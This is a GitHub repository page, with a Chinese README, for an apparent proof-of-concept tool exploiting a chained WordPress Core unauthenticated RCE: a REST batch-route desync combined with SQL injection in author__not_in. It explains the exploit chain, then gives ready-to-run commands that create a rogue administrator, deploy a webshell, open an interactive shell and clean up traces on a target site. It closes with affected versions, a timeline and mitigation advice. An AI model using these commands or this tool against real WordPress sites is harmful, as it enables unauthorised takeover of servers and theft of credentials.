GhostInExile/CVE-2026-63030-Wp2Shell

GitHub: GhostInExile/CVE-2026-63030-Wp2Shell

针对 WordPress Core REST API 批量路由混淆与 SQL 注入组合而成的未授权 RCE 漏洞链(wp2shell)的 PoC 利用工具。

Stars: 4 | Forks: 0

# CVE-2026-63030 (wp2shell) — WordPress Core 未授权 RCE ### REST API 批量路由混淆结合 CVE-2026-60137 SQL 注入 ![CVE-2026-63030](https://img.shields.io/badge/CVE--2026--63030-Critical-red) ![CVE-2026-60137](https://img.shields.io/badge/CVE--2026--60137-High-orange) ![aka wp2shell](https://img.shields.io/badge/aka-wp2shell-blueviolet) ![Status](https://img.shields.io/badge/Status-Patched-brightgreen) ## 概述 **CVE-2026-63030** 是 WordPress Core 的 REST API 批量 endpoint (`/wp-json/batch/v1`) 对失败的子请求处理严重不当,导致后续的子请求被分发到了错误的路由。单独来看,这只是一个逻辑 bug。但如果与 **CVE-2026-60137**(即 `WP_Query` 的 `author__not_in` 参数中的 SQL 注入漏洞)相结合,就会演变成未授权远程代码执行(RCE)。 WordPress 将 CVE-2026-63030 评级为 **Critical**,将 CVE-2026-60137 评级为 **High**;第三方的 CVSS 估值因追踪平台而异(分别约为 7.5 和 9.1),因为这两个单独的分数都无法完全反映该*漏洞链*的实际威力。无论您看到的是哪一个单一的数字,都应将其视为严重威胁——WordPress 认为其危害极大,甚至强制为所有受影响的站点进行了自动更新。 ## 工作原理 **根本原因 — 批量记录去同步 (desync)。** 当批量请求中的某个子请求验证失败时,生成的 `WP_Error` 会被记录在内部的 `$validation[]` 数组中——但用于路由的并行 `$matches[]` 数组却没有同步更新。这一项的错位导致其后的每个子请求都向后偏移了一位:子请求 *N* 最终使用了原本为子请求 *N+1* 设计的路由处理程序。 **过滤绕过。** 由于是在一个原本不该匹配到的处理程序下运行,该子请求跳过了该处理程序自身的输入验证——包括类型检查和 `is_array()` 检查。 **SQL 注入。** 这一缺陷使得攻击者控制的输入以原始字符串(而非数组)的形式进入了 `WP_Query` 的 `author__not_in` 参数。原本应该拦截它的 `is_array()` 防护并未执行,因此该值被直接插值到了 `NOT IN (...)` 子句中。 **入侵路径。** 该注入仅限于 SELECT(没有堆叠查询),但在数据库用户拥有 `FILE` 权限的主机上,这足以将 PHP webshell 写入 web 根目录。如果不可用,同样的注入点也可以通过盲注/UNION 注入提取 `wp_users` 表中的管理员密码哈希。无论哪种方式:都不需要账户、不需要插件、也不需要用户交互。 ``` sequenceDiagram participant A as Attacker participant B as Batch Handler participant Q as WP_Query participant D as MySQL A->>B: POST /wp-json/batch/v1 (crafted multi-request batch) Note over B: Failed sub-request recorded in one internal array but not the other — indexes drift by one B->>B: Sub-request N dispatched with sub-request N+1's route handler Note over B: Wrong handler context — that route's input validation never runs B->>Q: author__not_in passed as raw string, not array Note over Q: is_array() guard skipped Q->>D: SELECT ... WHERE post_author NOT IN (attacker string) alt DB user has FILE privilege D-->>A: Writes PHP webshell to web root → RCE else No FILE privilege D-->>A: Blind/UNION injection dumps admin password hashes end ``` ## 使用方法 1. 克隆代码库 ``` git clone htttps://github.com/GhostInExile/CVE-2026-63030-Wp2Shell cd CVE-2026-63030-Wp2Shell ``` 2. 测试漏洞:在不进行漏洞利用的情况下检查目标是否存在漏洞: ``` python3 CVE-2026-63030.py -t https://target.com --test ``` 3. 创建管理员账户:通过 SQL 注入创建一个新的 WordPress 管理员: ``` # 自动生成 credentials python3 CVE-2026-63030.py -t https://target.com --create-admin # 自定义 credentials python3 CVE-2026-63030.py -t https://target.com --create-admin -u myadmin -p mypassword ``` 4. 执行 Shell 命令:部署 webshell 并执行命令: ``` # 自动创建 admin,部署 shell,执行单条命令 python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami" # 交互式 shell 模式 python3 CVE-2026-63030.py -t https://target.com --shell -i # 使用现有 credentials python3 CVE-2026-63030.py -t https://target.com --shell -U admin -P password -c "id" ``` 5. 清理:移除创建的资源(管理员用户和 webshell): ``` # shell 会话后清理 python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami" --cleanup # 仅清理(需要之前会话的 shell URL) python3 CVE-2026-63030.py -t https://target.com --cleanup \ -U created_admin -P password \ --shell-url "https://target.com/wp-content/plugins/maint-xxx/maint-xxx.php" ``` 6. 附加选项 ``` # 使用 proxy python3 CVE-2026-63030.py -t https://target.com --test --proxy http://127.0.0.1:8080 # 自定义 timeout python3 CVE-2026-63030.py -t https://target.com --test --timeout 60 ``` ## 受影响版本 | WordPress 版本 | SQLi (`CVE-2026-60137`) | 路由混淆 (`CVE-2026-63030`) | 实际风险 | 修复于 | |---|:---:|:---:|---|---| | < 6.8.0 | — | — | 不受影响 | — | | 6.8.0 – 6.8.5 | ✅ | — | 仅 SQLi — 需要插件/主题将不受信任的输入传递给 `author__not_in`;仅在核心代码上无法在未授权状态下触发。但仍需修补。 | `6.8.6` | | 6.9.0 – 6.9.4 | ✅ | ✅ | **未授权 RCE** | `6.9.5` | | 7.0.0 – 7.0.1 | ✅ | ✅ | **未授权 RCE** | `7.0.2` | | 7.1 Beta 1 | ✅ | ✅ | **未授权 RCE** (beta 渠道) | `7.1 Beta 2` | - RCE 漏洞链**同时**需要这两个 bug,而它们只在 6.9.x 和 7.0.x 版本中重叠——这就是为什么 6.8 版本发布了补丁,但却未被归咎于受到完整漏洞链影响的原因。 - 根据 Cloudflare 的分析,RCE 路径还需要网站**未**使用持久化对象缓存——这是一个常见的默认设置,但在排查实际暴露风险而不是仅仅查看补丁状态时,值得检查一下。 - GitHub 安全公告:[`GHSA-ff9f-jf42-662q`](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q) (路由混淆) · [`GHSA-fpp7-x2x2-2mjf`](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf) (SQLi) ## 发现与时间线 - **路由混淆 / RCE 漏洞链** (`CVE-2026-63030`) — 由来自 Assetnote / Searchlight Cyber 的 Adam Kues 通过 WordPress 的 HackerOne 项目报告。 - **SQL 注入** (`CVE-2026-60137`) — 由 TF1T、dtro 和 haongo 作为一个团队单独报告。 - **2026 年 7 月 17 日** — WordPress 发布了紧急版本 6.9.5 和 7.0.2,将修复程序反向移植到了 6.8.6,并将这两项修复包含在了 7.1 Beta 2 中。Cloudflare 在公开披露的当天,就为这两个 CVE 部署了托管 WAF 规则。 - **自披露以来** — 技术分析文章和至少一个公开的概念验证(根据其自身的文档,仅用于检测)已经流传开来。在披露几天后,尚未有关于在野利用的确切报告——请查看当前的威胁情报,而不是认为情况已经固定。 ## 缓解措施 1. **立即打补丁** 更新至 `6.9.5`、`7.0.2`、`6.8.6` 或更高版本——这是唯一彻底的修复方法。WordPress 为受影响的站点启用了强制自动更新;请确认您的站点确实已应用,而不是想当然。 2. **无法立即打补丁?** 在 WAF/边缘节点级别阻止对批量 endpoint 的未授权访问:同时拦截 `/wp-json/batch/v1` 和 `?rest_route=/batch/v1`。这仅作为紧急措施——因为这可能会破坏合法的批量 API 使用(例如块编辑),并且不能替代打补丁。 3. 如果您的提供商提供了相应的规则,请**启用托管 WAF 规则**。Cloudflare 在披露的当天就面向免费和付费计划部署了针对这两个 CVE 的规则。 4. **打补丁后**,检查在披露窗口期(2026 年 7 月 17 日起)前后,访问日志中是否存在格式错误或异常的子请求路径的批量请求。 ## 参考 - WordPress 7.0.2 发布公告 — https://wordpress.org/news/2026/07/wordpress-7-0-2-release/ - GHSA-ff9f-jf42-662q (CVE-2026-63030) — https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q - GHSA-fpp7-x2x2-2mjf (CVE-2026-60137) — https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf - Searchlight Cyber wp2shell 公告 — https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/ - Cloudflare WAF 覆盖范围 — https://blog.cloudflare.com/wordpress-vulnerabilities/
标签:CISA项目, PNNL实验室, WordPress, 漏洞复现, 编程工具, 远程代码执行, 逆向工具